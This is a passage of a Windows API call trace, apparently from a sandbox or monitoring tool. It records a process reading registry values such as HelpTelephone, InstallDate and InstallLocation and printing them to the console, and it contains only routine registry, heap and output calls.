lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.095] GetProcessHeap () returned 0x2e0000 [0148.095] GetProcessHeap () returned 0x2e0000 [0148.095] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.095] GetProcessHeap () returned 0x2e0000 [0148.096] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.096] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.096] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.096] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.096] GetProcessHeap () returned 0x2e0000 [0148.096] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.096] GetProcessHeap () returned 0x2e0000 [0148.096] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.096] GetProcessHeap () returned 0x2e0000 [0148.096] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.096] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.096] __iob_func () returned 0x7fefd702a80 [0148.096] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.096] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.096] _fileno (_File=0x7fefd702ab0) returned 1 [0148.096] _errno () returned 0xc4bb0 [0148.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.096] _errno () returned 0xc4bb0 [0148.096] GetFileType (hFile=0x50) returned 0x1 [0148.096] lstrlenW (lpString=" ") returned 4 [0148.096] GetConsoleOutputCP () returned 0x1b5 [0148.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.096] GetConsoleOutputCP () returned 0x1b5 [0148.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.097] lstrlenW (lpString="HelpTelephone") returned 13 [0148.097] __iob_func () returned 0x7fefd702a80 [0148.097] _fileno (_File=0x7fefd702ab0) returned 1 [0148.097] _errno () returned 0xc4bb0 [0148.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.097] _errno () returned 0xc4bb0 [0148.097] GetFileType (hFile=0x50) returned 0x1 [0148.097] lstrlenW (lpString="HelpTelephone") returned 13 [0148.097] GetConsoleOutputCP () returned 0x1b5 [0148.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.097] GetConsoleOutputCP () returned 0x1b5 [0148.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0148.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.097] __iob_func () returned 0x7fefd702a80 [0148.097] _fileno (_File=0x7fefd702ab0) returned 1 [0148.097] _errno () returned 0xc4bb0 [0148.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.097] _errno () returned 0xc4bb0 [0148.097] GetFileType (hFile=0x50) returned 0x1 [0148.097] lstrlenW (lpString=" ") returned 4 [0148.097] GetConsoleOutputCP () returned 0x1b5 [0148.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.098] GetConsoleOutputCP () returned 0x1b5 [0148.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.098] __iob_func () returned 0x7fefd702a80 [0148.098] _fileno (_File=0x7fefd702ab0) returned 1 [0148.098] _errno () returned 0xc4bb0 [0148.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.098] _errno () returned 0xc4bb0 [0148.098] GetFileType (hFile=0x50) returned 0x1 [0148.098] lstrlenW (lpString="REG_SZ") returned 6 [0148.098] GetConsoleOutputCP () returned 0x1b5 [0148.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.098] GetConsoleOutputCP () returned 0x1b5 [0148.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.098] __iob_func () returned 0x7fefd702a80 [0148.098] _fileno (_File=0x7fefd702ab0) returned 1 [0148.098] _errno () returned 0xc4bb0 [0148.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.098] _errno () returned 0xc4bb0 [0148.098] GetFileType (hFile=0x50) returned 0x1 [0148.099] lstrlenW (lpString=" ") returned 4 [0148.099] GetConsoleOutputCP () returned 0x1b5 [0148.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.099] GetConsoleOutputCP () returned 0x1b5 [0148.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.099] __iob_func () returned 0x7fefd702a80 [0148.099] _fileno (_File=0x7fefd702ab0) returned 1 [0148.099] _errno () returned 0xc4bb0 [0148.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.099] _errno () returned 0xc4bb0 [0148.099] GetFileType (hFile=0x50) returned 0x1 [0148.099] lstrlenW (lpString="") returned 0 [0148.099] __iob_func () returned 0x7fefd702a80 [0148.099] _fileno (_File=0x7fefd702ab0) returned 1 [0148.099] _errno () returned 0xc4bb0 [0148.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.099] _errno () returned 0xc4bb0 [0148.099] GetFileType (hFile=0x50) returned 0x1 [0148.099] lstrlenW (lpString="\n") returned 1 [0148.099] GetConsoleOutputCP () returned 0x1b5 [0148.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.099] GetConsoleOutputCP () returned 0x1b5 [0148.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.100] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.100] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.100] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.100] GetProcessHeap () returned 0x2e0000 [0148.100] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.100] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0148.100] __iob_func () returned 0x7fefd702a80 [0148.100] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.100] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.100] _fileno (_File=0x7fefd702ab0) returned 1 [0148.100] _errno () returned 0xc4bb0 [0148.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.100] _errno () returned 0xc4bb0 [0148.100] GetFileType (hFile=0x50) returned 0x1 [0148.100] lstrlenW (lpString=" ") returned 4 [0148.100] GetConsoleOutputCP () returned 0x1b5 [0148.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.101] GetConsoleOutputCP () returned 0x1b5 [0148.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.101] lstrlenW (lpString="InstallDate") returned 11 [0148.101] __iob_func () returned 0x7fefd702a80 [0148.101] _fileno (_File=0x7fefd702ab0) returned 1 [0148.101] _errno () returned 0xc4bb0 [0148.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.101] _errno () returned 0xc4bb0 [0148.101] GetFileType (hFile=0x50) returned 0x1 [0148.101] lstrlenW (lpString="InstallDate") returned 11 [0148.101] GetConsoleOutputCP () returned 0x1b5 [0148.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.101] GetConsoleOutputCP () returned 0x1b5 [0148.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0148.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.101] __iob_func () returned 0x7fefd702a80 [0148.101] _fileno (_File=0x7fefd702ab0) returned 1 [0148.102] _errno () returned 0xc4bb0 [0148.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.102] _errno () returned 0xc4bb0 [0148.102] GetFileType (hFile=0x50) returned 0x1 [0148.102] lstrlenW (lpString=" ") returned 4 [0148.102] GetConsoleOutputCP () returned 0x1b5 [0148.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.102] GetConsoleOutputCP () returned 0x1b5 [0148.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.102] __iob_func () returned 0x7fefd702a80 [0148.102] _fileno (_File=0x7fefd702ab0) returned 1 [0148.102] _errno () returned 0xc4bb0 [0148.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.102] _errno () returned 0xc4bb0 [0148.102] GetFileType (hFile=0x50) returned 0x1 [0148.102] lstrlenW (lpString="REG_SZ") returned 6 [0148.102] GetConsoleOutputCP () returned 0x1b5 [0148.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.102] GetConsoleOutputCP () returned 0x1b5 [0148.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.103] __iob_func () returned 0x7fefd702a80 [0148.103] _fileno (_File=0x7fefd702ab0) returned 1 [0148.103] _errno () returned 0xc4bb0 [0148.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.103] _errno () returned 0xc4bb0 [0148.103] GetFileType (hFile=0x50) returned 0x1 [0148.103] lstrlenW (lpString=" ") returned 4 [0148.103] GetConsoleOutputCP () returned 0x1b5 [0148.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.103] GetConsoleOutputCP () returned 0x1b5 [0148.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.103] __iob_func () returned 0x7fefd702a80 [0148.103] _fileno (_File=0x7fefd702ab0) returned 1 [0148.103] _errno () returned 0xc4bb0 [0148.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.103] _errno () returned 0xc4bb0 [0148.103] GetFileType (hFile=0x50) returned 0x1 [0148.103] lstrlenW (lpString="20170630") returned 8 [0148.103] GetConsoleOutputCP () returned 0x1b5 [0148.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.104] GetConsoleOutputCP () returned 0x1b5 [0148.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0148.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.104] __iob_func () returned 0x7fefd702a80 [0148.104] _fileno (_File=0x7fefd702ab0) returned 1 [0148.104] _errno () returned 0xc4bb0 [0148.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.104] _errno () returned 0xc4bb0 [0148.104] GetFileType (hFile=0x50) returned 0x1 [0148.104] lstrlenW (lpString="\n") returned 1 [0148.104] GetConsoleOutputCP () returned 0x1b5 [0148.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.104] GetConsoleOutputCP () returned 0x1b5 [0148.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.104] GetProcessHeap () returned 0x2e0000 [0148.104] GetProcessHeap () returned 0x2e0000 [0148.104] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.104] GetProcessHeap () returned 0x2e0000 [0148.104] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.105] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.105] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.105] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.105] GetProcessHeap () returned 0x2e0000 [0148.105] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.105] GetProcessHeap () returned 0x2e0000 [0148.105] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.105] GetProcessHeap () returned 0x2e0000 [0148.105] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.105] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.105] __iob_func () returned 0x7fefd702a80 [0148.105] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.105] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.105] _fileno (_File=0x7fefd702ab0) returned 1 [0148.105] _errno () returned 0xc4bb0 [0148.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.105] _errno () returned 0xc4bb0 [0148.105] GetFileType (hFile=0x50) returned 0x1 [0148.105] lstrlenW (lpString=" ") returned 4 [0148.105] GetConsoleOutputCP () returned 0x1b5 [0148.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.105] GetConsoleOutputCP () returned 0x1b5 [0148.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.106] lstrlenW (lpString="InstallLocation") returned 15 [0148.106] __iob_func () returned 0x7fefd702a80 [0148.106] _fileno (_File=0x7fefd702ab0) returned 1 [0148.106] _errno () returned 0xc4bb0 [0148.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.106] _errno () returned 0xc4bb0 [0148.106] GetFileType (hFile=0x50) returned 0x1 [0148.106] lstrlenW (lpString="InstallLocation") returned 15 [0148.106] GetConsoleOutputCP () returned 0x1b5 [0148.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.106] GetConsoleOutputCP () returned 0x1b5 [0148.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.106] __iob_func () returned 0x7fefd702a80 [0148.106] _fileno (_File=0x7fefd702ab0) returned 1 [0148.106] _errno () returned 0xc4bb0 [0148.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.106] _errno () returned 0xc4bb0 [0148.106] GetFileType (hFile=0x50) returned 0x1 [0148.106] lstrlenW (lpString=" ") returned 4 [0148.106] GetConsoleOutputCP () returned 0x1b5 [0148.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.106] GetConsoleOutputCP () returned 0x1b5 [0148.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.107] __iob_func () returned 0x7fefd702a80 [0148.107] _fileno (_File=0x7fefd702ab0) returned 1 [0148.107] _errno () returned 0xc4bb0 [0148.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.107] _errno () returned 0xc4bb0 [0148.107] GetFileType (hFile=0x50) returned 0x1 [0148.107] lstrlenW (lpString="REG_SZ") returned 6 [0148.107] GetConsoleOutputCP () returned 0x1b5 [0148.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.107] GetConsoleOutputCP () returned 0x1b5 [0148.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.107] __iob_func () returned 0x7fefd702a80 [0148.107] _fileno (_File=0x7fefd702ab0) returned 1 [0148.107] _errno () returned 0xc4bb0 [0148.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.107] _errno () returned 0xc4bb0 [0148.107] GetFileType (hFile=0x50) returned 0x1 [0148.107] lstrlenW (lpString=" ") returned 4 [0148.107] GetConsoleOutputCP () returned 0x1b5 [0148.108] 